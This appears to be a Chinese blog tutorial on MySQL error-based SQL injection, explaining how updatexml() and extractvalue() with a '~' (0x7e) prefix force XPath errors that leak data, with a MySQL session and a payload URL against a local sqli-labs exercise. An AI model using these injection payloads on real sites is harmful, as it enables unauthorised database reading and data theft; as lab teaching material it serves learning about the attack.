sql的报错注入

函数 updatexml(document,path,value);

作用 : 更改名为 document 的 xml 文档中的符合 path 的条件的值为 value。

document:是string格式,为xml文档的名称。
path:xpath的格式
value:string格式,替换找到的符合条件的数据。

例如下面的代码,以及执行效果:

select updatexml(1,concat(0x7e,(select username from `security`.users  limit 0,1),0x7e),1);

在这里插入图片描述
下面对语句进行逐层解析:
在这里插入图片描述
这里使用的0x7e代表的是十六进制的ascii码,可以查看表发现对应的符号为‘ ~ ’,0x5c代表的是反斜杠‘ \ ’ 使用这些都会造成语法错误,从而使数据库报出错,得到想要的信息。

函数:extractvalue(document,path)

作用:查找document的xml文件中的符合path路径的内容。

下面进行实例:


mysql> select extractvalue(1,database());     //出现空白表,因为语法正确,但没有找到
+----------------------------+
| extractvalue(1,database()) |
+----------------------------+
|                            |
+----------------------------+
1 row in set (0.01 sec)

mysql> select extractvalue(1,concat(0x7e,database()));    //现在让其语法错误,让其报错
ERROR 1105 (HY000): XPATH syntax error: '~security'
floor()

当你在使用concat函数将‘~’和你所要爆的内容构成一个字符串时,要注意:你要爆的信息前面要有“ ~ ” ,否则会出现下图状况:

在这里插入图片描述

sql-lab17 关 sql语句分析,读取数据库中库名:

在这里插入图片描述
在这里插入图片描述

http://127.0.0.1/sqli/Less-5/?id=-1' and updatexml(1,concat('~',(select schema_name from information_schema.schemata limit 3,1)),1)--+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值